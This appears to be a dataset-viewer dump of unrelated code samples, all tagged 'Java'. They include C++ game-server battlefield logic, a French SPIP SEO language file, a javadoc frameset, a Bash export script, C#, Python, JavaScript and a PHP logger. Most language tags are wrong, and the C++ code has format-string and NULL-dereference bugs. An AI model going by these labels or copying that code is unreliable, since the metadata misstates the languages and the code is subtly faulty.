namespace battlefieldutils{
/***************************************************************
Loads the given battlefield from the database and returns
a new Battlefield object.
****************************************************************/
CBattlefield* loadBattlefield(CBattlefieldHandler* hand, uint16 bcnmid, BATTLEFIELDTYPE type){
const int8* fmtQuery = "SELECT name, bcnmId, fastestName, fastestTime, timeLimit, levelCap, lootDropId, rules, partySize, zoneId \
FROM bcnm_info \
WHERE bcnmId = %u";
int32 ret = Sql_Query(SqlHandle, fmtQuery, bcnmid);
if (ret == SQL_ERROR ||
Sql_NumRows(SqlHandle) == 0 ||
Sql_NextRow(SqlHandle) != SQL_SUCCESS)
{
ShowError("Cannot load battlefield BCNM:%i \n",bcnmid);
}
else
{
CBattlefield* PBattlefield = new CBattlefield(hand,Sql_GetUIntData(SqlHandle,1), type);
int8* tmpName;
Sql_GetData(SqlHandle,0,&tmpName,NULL);
PBattlefield->setBcnmName(tmpName);
PBattlefield->setTimeLimit(Sql_GetUIntData(SqlHandle,4));
PBattlefield->setLevelCap(Sql_GetUIntData(SqlHandle,5));
PBattlefield->setLootId(Sql_GetUIntData(SqlHandle,6));
PBattlefield->setMaxParticipants(Sql_GetUIntData(SqlHandle,8));
PBattlefield->setZoneId(Sql_GetUIntData(SqlHandle,9));
PBattlefield->m_RuleMask = (uint16)Sql_GetUIntData(SqlHandle,7);
return PBattlefield;
}
return NULL;
}
/***************************************************************
Spawns monsters for the given BCNMID/Battlefield number by
looking at bcnm_battlefield table for mob ids then spawning
them and adding them to the monster list for the given
battlefield.
****************************************************************/
bool spawnMonstersForBcnm(CBattlefield* battlefield){
DSP_DEBUG_BREAK_IF(battlefield==NULL);
//get ids from DB
const int8* fmtQuery = "SELECT monsterId, conditions \
FROM bcnm_battlefield \
WHERE bcnmId = %u AND battlefieldNumber = %u";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getID(), battlefield->getBattlefieldNumber());
if (ret == SQL_ERROR ||
Sql_NumRows(SqlHandle) == 0)
{
ShowError("spawnMonstersForBcnm : SQL error - Cannot find any monster IDs for BCNMID %i Battlefield %i \n",
battlefield->getID(), battlefield->getBattlefieldNumber());
}
else{
while(Sql_NextRow(SqlHandle) == SQL_SUCCESS){
uint32 mobid = Sql_GetUIntData(SqlHandle,0);
uint8 condition = Sql_GetUIntData(SqlHandle,1);
CMobEntity* PMob = (CMobEntity*)zoneutils::GetEntity(mobid, TYPE_MOB);
if (PMob != NULL)
{
PMob->m_battlefieldID = battlefield->getBattlefieldNumber();
PMob->m_bcnmID = battlefield->getID();
if (condition & CONDITION_SPAWNED_AT_START)
{
// This condition is needed for some mob at dynamis, else he don't pop
if(PMob->PBattleAI->GetCurrentAction() == ACTION_FADE_OUT){
PMob->PBattleAI->SetLastActionTime(0);
PMob->PBattleAI->SetCurrentAction(ACTION_NONE);
}
if (PMob->PBattleAI->GetCurrentAction() == ACTION_NONE ||
PMob->PBattleAI->GetCurrentAction() == ACTION_SPAWN)
{
PMob->PBattleAI->SetLastActionTime(0);
PMob->PBattleAI->SetCurrentAction(ACTION_SPAWN);
if(strcmp(PMob->GetName(),"Maat")==0){
mobutils::SetupMaat(PMob, (JOBTYPE)battlefield->getPlayerMainJob());
PMob->m_DropID = 4485; //Give Maat his stealable Warp Scroll
// disable players subjob
battlefield->disableSubJob();
// disallow subjob, this will enable for later
battlefield->m_RuleMask &= ~(1 << RULES_ALLOW_SUBJOBS);
}
//ShowDebug("Spawned %s (%u) id %i inst %i \n",PMob->GetName(),PMob->id,battlefield->getID(),battlefield->getBattlefieldNumber());
battlefield->addEnemy(PMob, condition);
} else {
ShowDebug(CL_CYAN"SpawnMobForBcnm: <%s> (%u) is alredy spawned\n" CL_RESET, PMob->GetName(), PMob->id);
}
} else {
battlefield->addEnemy(PMob, condition);
}
} else {
ShowDebug("SpawnMobForBcnm: mob %u not found\n", mobid);
}
}
return true;
}
return false;
}
/***************************************************************
Spawns treasure chest/armory crate, what ever on winning bcnm
****************************************************************/
bool spawnTreasureForBcnm(CBattlefield* battlefield){
DSP_DEBUG_BREAK_IF(battlefield==NULL);
//get ids from DB
const int8* fmtQuery = "SELECT npcId \
FROM bcnm_treasure_chests \
WHERE bcnmId = %u AND battlefieldNumber = %u";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getID(), battlefield->getBattlefieldNumber());
if (ret == SQL_ERROR || Sql_NumRows(SqlHandle) == 0)
{
ShowError("spawnTreasureForBcnm : SQL error - Cannot find any npc IDs for BCNMID %i Battlefield %i \n",
battlefield->getID(), battlefield->getBattlefieldNumber());
}
else
{
while(Sql_NextRow(SqlHandle) == SQL_SUCCESS)
{
uint32 npcid = Sql_GetUIntData(SqlHandle,0);
CBaseEntity* PNpc = (CBaseEntity*)zoneutils::GetEntity(npcid, TYPE_NPC);
if (PNpc != NULL)
{
PNpc->status = STATUS_NORMAL;
PNpc->animation = 0;
PNpc->loc.zone->PushPacket(PNpc, CHAR_INRANGE, new CEntityUpdatePacket(PNpc, ENTITY_SPAWN, UPDATE_ALL));
battlefield->addNpc(PNpc);
ShowDebug(CL_CYAN"Spawned %s id %i inst %i \n",PNpc->status,PNpc->id,battlefield->getBattlefieldNumber());
}else
{
ShowDebug(CL_CYAN"spawnTreasureForBcnm: <%s> is already spawned\n" CL_RESET, PNpc->GetName());
}
}
return true;
}
return false;
}
/**************************************************************
Called by ALL BCNMs to check winning conditions every tick. This
is usually when all the monsters are defeated but can be other things
(e.g. mob below X% HP, successful Steal, etc)
***************************************************************/
bool meetsWinningConditions(CBattlefield* battlefield, uint32 tick){
if (battlefield->won()) return true;
//handle odd cases e.g. stop fight @ x% HP
//handle Maat fights
if(battlefield->locked && (battlefield->m_RuleMask & RULES_MAAT))
{
// survive for 5 mins
if(battlefield->getPlayerMainJob() == JOB_WHM && (tick - battlefield->fightTick) > 5 * 60 * 1000)
return true;
if(battlefield->isEnemyBelowHPP(10))
return true;
if(battlefield->getPlayerMainJob() == JOB_THF && battlefield->m_EnemyList.at(0)->m_ItemStolen) //thf can win by stealing from maat only if maat not previously defeated
{
const int8* fmtQuery = "SELECT value FROM char_vars WHERE charid = %u AND varname = '%s' LIMIT 1;";
int32 ret = Sql_Query(SqlHandle,fmtQuery,battlefield->m_PlayerList.at(0)->id, "maatDefeated");
if(ret != SQL_ERROR && Sql_NumRows(SqlHandle) == 0)
return true;
else if(ret != SQL_ERROR && Sql_NumRows(SqlHandle) != 0 && Sql_NextRow(SqlHandle) == SQL_SUCCESS)
{
int16 value = (int16)Sql_GetIntData(SqlHandle,0);
if(value <= 0)
return true;
}
}
}
// savage
if(battlefield->getID() == 961 && battlefield->isEnemyBelowHPP(30)){
return true;
}
//generic cases, kill all mobs
if(battlefield->allEnemiesDefeated()){
return true;
}
return false;
}
/**************************************************************
Called by ALL BCNMs to check losing conditions every tick. This
will be when everyone is dead and the death timer is >3min (usually)
or when everyone has left, etc.
****************************************************************/
bool meetsLosingConditions(CBattlefield* battlefield, uint32 tick){
if (battlefield->lost()) return true;
//check for expired duration e.g. >30min. Need the tick>start check as the start can be assigned
//after the tick initially due to threading
if(tick>battlefield->getStartTime() && (tick - battlefield->getStartTime()) > battlefield->getTimeLimit()*1000){
ShowDebug("BCNM %i inst:%i - You have exceeded your time limit!\n",battlefield->getID(),
battlefield->getBattlefieldNumber(),tick,battlefield->getStartTime(),battlefield->getTimeLimit());
return true;
}
battlefield->lastTick = tick;
//check for all dead for 3min (or whatever the rule mask says)
if(battlefield->getDeadTime()!=0){
if(battlefield->m_RuleMask & RULES_REMOVE_3MIN){
// if(((tick - battlefield->getDeadTime())/1000) % 20 == 0){
// battlefield->pushMessageToAllInBcnm(200,180 - (tick - battlefield->getDeadTime())/1000);
// }
if(tick - battlefield->getDeadTime() > 180000){
ShowDebug("All players from the battlefield %i inst:%i have fallen for 3mins. Removing.\n",
battlefield->getID(),battlefield->getBattlefieldNumber());
return true;
}
}
else{
ShowDebug("All players have fallen. Failed battlefield %i inst %i. No 3min mask. \n",battlefield->getID(),battlefield->getBattlefieldNumber());
return true;
}
}
return false;
}
/*************************************************************
Returns the losing exit position for this BCNM.
****************************************************************/
void getLosePosition(CBattlefield* battlefield, int (&pPosition)[4]){
if(battlefield==NULL)
return;
switch(battlefield->getZoneId()){
case 139: //Horlais Peak
pPosition[0]=-503; pPosition[1]=158; pPosition[2]=-212; pPosition[3]=131;
break;
}
}
void getStartPosition(uint8 zoneid, int (&pPosition)[4]){
switch(zoneid){
case 139: //Horlais Peak
pPosition[0]=-503; pPosition[1]=158; pPosition[2]=-212; pPosition[3]=131;
break;
case 144: //Waug. Shrine
pPosition[0]=-361; pPosition[1]=100; pPosition[2]=-260; pPosition[3]=131;
break;
case 146: //Balgas Dias
pPosition[0]=317; pPosition[1]=-126; pPosition[2]=380; pPosition[3]=131;
break;
case 165: //Throne Room
pPosition[0]=114; pPosition[1]=-8; pPosition[2]=0; pPosition[3]=131;
break;
case 206: //QuBia Arena
pPosition[0]=-241; pPosition[1]=-26; pPosition[2]=20; pPosition[3]=131;
break;
}
}
/*************************************************************
Returns the winning exit position for this BCNM.
****************************************************************/
void getWinPosition(CBattlefield* battlefield, int (&pPosition)[4]){
if(battlefield==NULL)
return;
switch(battlefield->getZoneId()){
case 139: //Horlais Peak
pPosition[0]=445; pPosition[1]=-38; pPosition[2]=-19; pPosition[3]=200;
break;
}
}
uint8 getMaxLootGroups(CBattlefield* battlefield){
const int8* fmtQuery = "SELECT MAX(lootGroupId) \
FROM bcnm_loot \
JOIN bcnm_info ON bcnm_info.LootDropId = bcnm_loot.LootDropId \
WHERE bcnm_info.LootDropId = %u LIMIT 1";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getLootId());
if (ret == SQL_ERROR || Sql_NumRows(SqlHandle) == 0 || Sql_NextRow(SqlHandle) != SQL_SUCCESS){
ShowError("SQL error occured \n");
return 0;
}
else {
return (uint8)Sql_GetUIntData(SqlHandle,0);
}
}
uint16 getRollsPerGroup(CBattlefield* battlefield, uint8 groupID){
const int8* fmtQuery = "SELECT SUM(CASE \
WHEN LootDropID = %u \
AND lootGroupId = %u \
THEN rolls \
ELSE 0 END) \
FROM bcnm_loot;";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getLootId(), groupID);
if (ret == SQL_ERROR || Sql_NumRows(SqlHandle) == 0 || Sql_NextRow(SqlHandle) != SQL_SUCCESS){
ShowError("SQL error occured \n");
return 0;
}
else {
return (uint16)Sql_GetUIntData(SqlHandle,0);
}
}
/*************************************************************
Get loot from the armoury crate
****************************************************************/
void getChestItems(CBattlefield* battlefield){
int instzone = battlefield->getZoneId();
uint8 maxloot = 0;
LootList_t* LootList = itemutils::GetLootList(battlefield->getLootId());
if (LootList == NULL){
ShowError("BCNM Chest opened with no valid loot list!");
//no loot available for bcnm. End bcnm.
battlefield->winBcnm();
return;
}
else
{
for (uint8 sizeoflist=0; sizeoflist < LootList->size() ; ++sizeoflist){
if(LootList->at(sizeoflist).LootGroupId > maxloot){
maxloot= LootList->at(sizeoflist).LootGroupId;
}
}
}
//getMaxLootGroups(battlefield);
if(maxloot!=0){
for (uint8 group = 0; group <= maxloot; ++group){
uint16 maxRolls = getRollsPerGroup(battlefield,group);
uint16 groupRoll = (uint16)(WELL512::irand()%maxRolls);
uint16 itemRolls = 0;
for (uint8 item = 0; item < LootList->size(); ++item)
{
if (group == LootList->at(item).LootGroupId)
{
itemRolls += LootList->at(item).Rolls;
if (groupRoll <= itemRolls)
{
battlefield->m_PlayerList.at(0)->PTreasurePool->AddItem(LootList->at(item).ItemID, battlefield->m_NpcList.at(0));
break;
}
}
}
}
}
//user opened chest, complete bcnm
if(instzone!=37 && instzone!=38 ){
battlefield->winBcnm();
}
else{
battlefield->m_NpcList.clear();
}
}
bool spawnSecondPartDynamis(CBattlefield* battlefield){
DSP_DEBUG_BREAK_IF(battlefield==NULL);
//get ids from DB
const int8* fmtQuery = "SELECT monsterId \
FROM bcnm_battlefield \
WHERE bcnmId = %u AND battlefieldNumber = 2";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getID());
if (ret == SQL_ERROR ||
Sql_NumRows(SqlHandle) == 0)
{
ShowError("spawnSecondPartDynamis : SQL error - Cannot find any monster IDs for Dynamis %i \n",
battlefield->getID(), battlefield->getBattlefieldNumber());
}
else{
while(Sql_NextRow(SqlHandle) == SQL_SUCCESS){
uint32 mobid = Sql_GetUIntData(SqlHandle,0);
CMobEntity* PMob = (CMobEntity*)zoneutils::GetEntity(mobid, TYPE_MOB);
if (PMob != NULL)
{
if (PMob->PBattleAI->GetCurrentAction() == ACTION_NONE ||
PMob->PBattleAI->GetCurrentAction() == ACTION_SPAWN)
{
PMob->PBattleAI->SetLastActionTime(0);
PMob->PBattleAI->SetCurrentAction(ACTION_SPAWN);
PMob->m_battlefieldID = battlefield->getBattlefieldNumber();
ShowDebug("Spawned %s (%u) id %i inst %i \n",PMob->GetName(),PMob->id,battlefield->getID(),battlefield->getBattlefieldNumber());
battlefield->addEnemy(PMob, CONDITION_SPAWNED_AT_START & CONDITION_WIN_REQUIREMENT);
} else {
ShowDebug(CL_CYAN"spawnSecondPartDynamis: <%s> (%u) is alredy spawned\n" CL_RESET, PMob->GetName(), PMob->id);
}
} else {
ShowDebug("spawnSecondPartDynamis: mob %u not found\n", mobid);
}
}
return true;
}
return false;
}
}; | Java |
<?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_plugins_/seo/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'S.E.O' => 'SEO',
// A
'alexa' => 'Alexa',
'alexa_activate' => 'Activer Alexa',
'alexa_id' => 'Identifiant du site pour Alexa',
// B
'bing_webmaster' => 'Bing Webmaster Tools',
'bing_webmaster_activate' => 'Activer Bing Webmaster Tools',
'bing_webmaster_id' => 'Meta code de vérification',
// C
'canonical_url' => 'URL Canoniques',
'canonical_url_activate' => 'Activer les URL Canoniques',
// F
'forcer_squelette_descriptif' => 'Les metas SEO sont prioritaires aux meta générées par les squelettes',
'forcer_squelette_label' => 'Charger les metas pour tous squelettes',
// G
'google_analytics' => 'Google Analytics',
'google_analytics_activate' => 'Activer Analytics',
'google_analytics_id' => 'Google Analytics web property ID',
'google_webmaster_tools' => 'Google Webmaster Tools',
'google_webmaster_tools_activate' => 'Activer Webmaster Tools',
'google_webmaster_tools_id' => 'Meta code de vérification',
// I
'insert_head' => 'Insertion automatique dans #INSERT_HEAD',
'insert_head_activate' => 'Activer l\'insertion automatique',
'insert_head_descriptif' => 'Insertion automatique de la configuration SEO dans le <header>',
// M
'meta_author' => 'Auteur :',
'meta_copyright' => 'Copyright :',
'meta_description' => 'Description :',
'meta_keywords' => 'Mots Clefs :',
'meta_page_description_sommaire_value' => 'Valeur de la Description de la Page + Valeur Meta du Sommaine',
'meta_page_description_value' => 'Valeur de la Description de la Page',
'meta_page_title_sommaire_value' => 'Valeur du Titre de la Page + Valeur Meta du Sommaire',
'meta_page_title_value' => 'Valeur du Titre de la Page',
'meta_robots' => 'Robots :',
'meta_sommaire_value' => 'Valeur de la Meta du Sommaire',
'meta_tags' => 'Meta Tags',
'meta_tags_activate' => 'Activer les meta tags',
'meta_tags_default' => 'Valeur des Meta Tags par Défaut (pour les Articles et les Rubriques)',
'meta_tags_edit_activate' => 'Activer l\'édition des meta tags dans les rubriques et les articles',
'meta_tags_editing' => 'Edition des Meta Tags',
'meta_tags_sommaire' => 'Valeur des Meta Tags du Sommaire (page d\'accueil)',
'meta_title' => 'Titre :',
// S
'seo' => 'Search Engine Optimisation'
);
?>
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_60) on Sun Oct 25 17:08:11 MDT 2015 -->
<title>Generated Documentation (Untitled)</title>
<script type="text/javascript">
targetPage = "" + window.location.search;
if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
targetPage = "undefined";
function validURL(url) {
try {
url = decodeURIComponent(url);
}
catch (error) {
return false;
}
var pos = url.indexOf(".html");
if (pos == -1 || pos != url.length - 5)
return false;
var allowNumber = false;
var allowSep = false;
var seenDot = false;
for (var i = 0; i < url.length - 5; i++) {
var ch = url.charAt(i);
if ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
ch == '$' ||
ch == '_' ||
ch.charCodeAt(0) > 127) {
allowNumber = true;
allowSep = true;
} else if ('0' <= ch && ch <= '9'
|| ch == '-') {
if (!allowNumber)
return false;
} else if (ch == '/' || ch == '.') {
if (!allowSep)
return false;
allowNumber = false;
allowSep = false;
if (ch == '.')
seenDot = true;
if (ch == '/' && seenDot)
return false;
} else {
return false;
}
}
return true;
}
function loadFrames() {
if (targetPage != "" && targetPage != "undefined")
top.classFrame.location = top.targetPage;
}
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="overview-frame.html" name="packageListFrame" title="All Packages">
<frame src="allclasses-frame.html" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="overview-summary.html" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
| Java |
#! /bin/bash
BASE_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
TMP_DIR="$BASE_DIR""/.tmp"
BASE_DIR_NAME="$(basename $BASE_DIR)"
HTDOCS="$BASE_DIR"'/htdocs'
EXPORT_DIR="$BASE_DIR"'/exported-html'
FILE_SUFFIX=".html"
PATH_TYPE='relative'
if [[ ! -d "$EXPORT_DIR" ]]; then
echo "Creating export directory: ""$EXPORT_DIR"
mkdir "$EXPORT_DIR"
fi
function render_page () {
local page="$1"
if [[ "$PATH_TYPE" = "relative" ]]; then
echo "Exporting ""$PAGE"" with relative paths and file suffix ""$FILE_SUFFIX"
# fix absolute css/js paths
# add file suffixes to local links
# fix absolute links
php htdocs/index.php -u "$page" | sed 's#</head>#<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"></head>#g' | sed 's#src="/#src="#g' | sed -E 's#href="/([^"]*)#href="\1'"$FILE_SUFFIX"'#g' | sed 's#href="/#href="#g' > "$EXPORT_DIR/$page""$FILE_SUFFIX"
else
echo "Exporting ""$PAGE"" with file suffix ""$FILE_SUFFIX"
php htdocs/index.php -u "$PAGE" | sed 's#</head>#<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"></head>#g' | sed -E 's#href="/([^"]*)#href="\1'"$FILE_SUFFIX"'#g' > "$EXPORT_DIR/$PAGE""$FILE_SUFFIX"
fi
}
echo "Copying files to export directory"
cp -RL "$HTDOCS/"* "$EXPORT_DIR/"
echo "removing PHP and twig files from export"
rm -R "$EXPORT_DIR/"*".html.twig"
rm -R "$EXPORT_DIR/"*".php"
echo "Compiling HTML from twig files"
render_page index
for PAGE in $(php htdocs/index.php -p); do
render_page "$PAGE"
done
echo "Done."
exit 0
| Java |
/*
* Copyright (C) 2017 GG-Net GmbH
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* Contains the Ui and actions for the detailed document view and edit and all supplemental uis.
*/
package eu.ggnet.dwoss.redtapext.ui.cao.document;
| Java |
using System;
using System.Threading;
using Viki.LoadRunner.Engine.Core.Scenario.Interfaces;
using Viki.LoadRunner.Engine.Strategies.Replay.Interfaces;
using Viki.LoadRunner.Engine.Strategies.Replay.Scheduler.Interfaces;
namespace Viki.LoadRunner.Playground.Replay
{
public class ReplayScenario : IReplayScenario<string>
{
private string _data;
private TimeSpan _target = TimeSpan.Zero;
public void ScenarioSetup(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}] Scenario Setup");
}
public void SetData(IData<string> data)
{
_data = data.Value;
_target = data.TargetTime;
// Lets skip requests between 4-8 seconds
if (data.TargetTime > TimeSpan.FromSeconds(4) && data.TargetTime < TimeSpan.FromSeconds(8))
{
Console.Out.WriteLine($"[{data.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SetData: [{_data}] SKIP");
data.Execute = false;
data.Context.UserData = $"[{data.Context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SKIP";
}
TimeSpan fallenBehind = data.Timer.Value - data.TargetTime;
if (fallenBehind > TimeSpan.Zero)
Console.WriteLine($@"[{data.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SetData: [{_data}] FALL BEHIND {fallenBehind}");
Console.Out.WriteLine($"[{data.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SetData: [{_data}]");
}
public void IterationSetup(IIteration context)
{
context.UserData = _data;
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Iteration Setup");
}
public void ExecuteScenario(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Execute");
Thread.Sleep(1000);
}
public void IterationTearDown(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Iteration End");
}
public void ScenarioTearDown(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Scenario End");
}
}
} | Java |
#!/usr/bin/env python
"""This utility script was adopted from StackExchange:
http://stackoverflow.com/questions/12090503/listing-available-com-ports-with-python
Adopted for use with arduino_GC connection project
"""
import sys
import glob
import serial
def serial_ports():
""" Lists serial port names
:raises EnvironmentError:
On unsupported or unknown platforms
:returns:
A list of the serial ports available on the system
"""
if sys.platform.startswith('win'):
ports = ['COM%s' % (i + 1) for i in range(256)]
elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):
# this excludes your current terminal "/dev/tty"
ports = glob.glob('/dev/cu[A-Za-z]*')
elif sys.platform.startswith('darwin'):
ports = glob.glob('/dev/cu.*')
else:
raise EnvironmentError('Unsupported platform')
result = []
for port in ports:
try:
s = serial.Serial(port)
s.close()
result.append(port)
except (OSError, serial.SerialException):
pass
return result
if __name__ == '__main__':
print(serial_ports())
| Java |
function Greeter(person) {
return "Hello, " + person;
}
var RandomGuy = "Random Dude";
alert(Greeter(RandomGuy));
//# sourceMappingURL=HelloWorld.js.map | Java |
<?php
namespace sebastiangolian\php\logger;
/*
Logger::getInstance()->addDefaultLog('test');
Logger::getInstance()->addLog(new Message('type', 'message'));
echo Logger::getInstance()->generateAllMessages();
*/
class Logger
{
private static $instance;
private $messages = [];
private function __construct() {}
private function __clone() {}
/**
* @return Logger
*/
public static function getInstance()
{
if(self::$instance === null) {
self::$instance = new self;
}
return self::$instance;
}
/**
* Logger::getInstance()->add('XYZ');
* Add new log
* @param mixed $var
* @param string $type
*/
public function add($var,$type = 'default')
{
$message = print_r($var, true);
$objMessage = new Message($type, $message);
array_push($this->messages, $objMessage);
}
/**
* Return all messages
* @return array
*/
public function getMessages()
{
return $this->messages;
}
/**
* Return all messages in string with break
* @param string $break
* @return string
*/
public function generateAllMessages($break = "<br />")
{
$ret = '';
foreach ($this->messages as $message) {
$ret .= $message->getDateTime()." - [".$message->getType()."] ".$message->getMessage().$break;
}
return $ret;
}
} | Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.